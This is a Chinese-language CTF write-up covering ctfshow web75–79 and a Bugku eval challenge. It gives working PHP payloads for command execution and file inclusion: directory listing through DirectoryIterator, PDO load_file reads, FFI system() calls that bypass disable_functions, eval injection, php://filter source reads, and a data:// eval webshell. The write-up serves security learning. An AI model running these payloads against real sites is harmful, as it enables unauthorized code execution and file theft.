2021/7/10

命令执行

web75-76
  • 读取目录 脚本绕过限制

    1
    c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

    flag在flag36.txt里

    利用mysql查询

    1
    c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag文件名称")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
web77

沿用上题payload都显示“could not find driver”

  • 读取目录

    1
    c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

    两个疑似flag文件 flag36x.txt和readflag

    1
    2
    3
    c=$ffi=FFI::cdef("int system(const char*command);");
    $a='/readflag>/var/www/html/1.txt';
    $ffi->system($a);exit();

    然后访问url/1.txt

    或者

    1
    2
    c=FFI::cdef("int system(const char *command);")->system('ls / >> 1.txt');
    c=FFI::cdef("int system(const char *command);")->system('/readflag >> 1.txt');

    PHP7.4的新特性—FFI,它允许开发者在PHP脚本中调用C函数并使用C数据类型。官方称之为develop “system code” more productively.。有趣的是FFI无视 open_basedir 和 disable_functions 的限制,如果开发者没有很好控制权限,带来的结果会是很糟糕的

bugku

web eval

image-20210710142455653

  • 闭合掉hello

    1
    url/?hello=1);show_source(%27flag.php%27);var_dump(2
  • php伪协议

    1
    url/?hello=1);show_source(%27flag.php%27);var_dump(1 

    或者 post data

    1
    f=php://filter/convert.base64-encode/resource=flag.php
web 变量1 XXXX

https://blog.csdn.net/qq_38603541/article/details/85106740

  • 没看懂 放着先

文件包含

web78

无过滤 直接用伪协议

  • php伪协议

    1
    url//?file=php://filter/convert.base64-encode/resource=flag.php //base64转码

首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。

通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。

而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。

web79

image-20210710171544089

php字符不能用 绕过或者用data伪协议

  • data伪协议(hackbar有)

    1
    /?file=data://text/plain,<?=eval($_POST[1]);?>

    并且post data:

    1
    1=system("tac flag.php")

    (其实前面应该还有一步ls查看目录)

    或者省去post 用base64转码后直接data伪协议

    1
    url/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs=